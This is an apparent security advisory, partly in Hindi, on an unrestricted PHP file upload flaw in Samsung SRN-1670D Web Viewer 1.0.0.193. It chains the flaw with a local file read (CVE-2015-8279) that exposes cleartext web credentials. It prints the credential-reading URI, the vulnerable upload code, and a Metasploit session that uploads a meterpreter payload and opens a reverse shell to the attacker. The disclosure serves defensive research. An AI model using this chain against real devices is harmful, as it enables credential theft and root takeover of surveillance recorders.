
अप्रतिबंधित फ़ाइल अपलोड भेद्यता - Samsung SRN-1670D पर Web Viewer 1.0.0.193
Omar Mezrag - 0xFFFFFF
Samsung Network Video Recorders - Web Viewer 1.0.0.193 on Samsung SRN-1670D
Hanwha / Samsung Security - https://www.hanwhasecurity.com/
अप्रतिबंधित फ़ाइल अपलोड भेद्यता
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance
Code execution (ROOT)
network_ssl_upload.php (tested)
network_802_1x1.php (suspected)
network_802_1x2.php (suspected)
Web Viewer 1.0.0.193 on Samsung SRN-1670D डिवाइस एक अप्रतिबंधित फ़ाइल अपलोड भेद्यता से ग्रस्त है: 'network_ssl_upload.php' दूरस्थ प्रमाणित हमलावरों को .php एक्सटेंशन वाले फ़ाइलनाम के माध्यम से मनमाना PHP कोड अपलोड और निष्पादित करने की अनुमति देता है, जिसे बाद में upload/ निर्देशिका में फ़ाइल के सीधे अनुरोध के माध्यम से एक्सेस किया जाता है। इस हमले के लिए प्रमाणीकरण हेतु, कोई व्यक्ति CVE-2015-8279 के रूप में संदर्भित मौजूदा Local File Read Vulnerability का लाभ उठाकर वेब-इंटरफ़ेस क्रेडेंशियल्स को स्पष्ट पाठ (cleartext) में प्राप्त कर सकता है, जो दूरस्थ हमलावरों को निम्न URI के अनुरोध के माध्यम से वेब इंटरफ़ेस क्रेडेंशियल पढ़ने की अनुमति देता है:
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw
22 $path = "./upload/";
23 $file = $_FILES[ "attachFile" ];
24 $isApply = ( int )$_POST[ "is_apply" ];
25 $isInstall = ( int )$_POST[ "isInstall" ];
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
27
28 // create socket
29 $N_message = "";
30 $sock = mySocket_create($_is_unix_socket);
31 $connected = mySocket_connect($_is_unix_socket, $sock);
32
33 $loginInfo = new loginInfo();
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
36 if ($connected) {
37 $id = $loginInfo->get_id();
38 $xmlFile = $id.'_config.xml';
39 $N_message = "dummy".nvr_command::DELIM;
40 $N_message .= "userid ".$id.nvr_command::DELIM;
41
42 if ( $isInstall == 1 ) {
43 // File upload ===============================================================
44 if ( $file[ "error" ] 0 ) {
45 $Error = "Error: ".$file[ "error" ];
46 } else {
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
48 }
49 // ===========================================================================
50 }
Metasploit मॉड्यूल: samsung_srv_1670d_upload_exec
msf exploit(samsung_srv_1670d_upload_exec) > show options
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.200 yes The target address.
RPORT 80 yes The target port (TCP).
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.122 yes The listen address
LPORT 4358 yes The listen port
Exploit target:
Id Name
-- ----
0 Samsung SRN-1670D == 1.0.0.193
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.122:4358
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
संभवतः 'network_802_1x1.php' और 'network_802_1x2.php' जैसी अन्य स्क्रिप्ट्स भी उसी भेद्यता से प्रभावित हैं, लेकिन मैंने उनका परीक्षण नहीं किया।
CVE-2015-8279: http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html